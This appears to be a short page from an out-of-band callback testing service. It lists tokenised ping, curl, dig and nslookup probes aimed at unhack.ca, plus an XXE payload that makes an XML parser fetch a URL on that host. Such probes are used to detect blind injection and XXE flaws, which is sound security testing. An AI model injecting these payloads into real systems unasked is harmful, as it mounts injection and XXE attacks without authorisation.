$ ping -c1 -p 00e72ad78be64ba8d1c9839d3ac9d500 unhack.ca
 
$ curl http://unhack.ca/p/e72ad78be64ba8d1c9839d3ac9d5
 
$ dig e72ad78be64ba8d1c9839d3ac9d5 @unhack.ca
 
$ dig e72ad78be64ba8d1c9839d3ac9d5.ns.unhack.ca
 
C:\> nslookup e72ad78be64ba8d1c9839d3ac9d5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e72ad78be64ba8d1c9839d3ac9d5">]>
    <foo>&xxe;</foo>
Waiting for ping...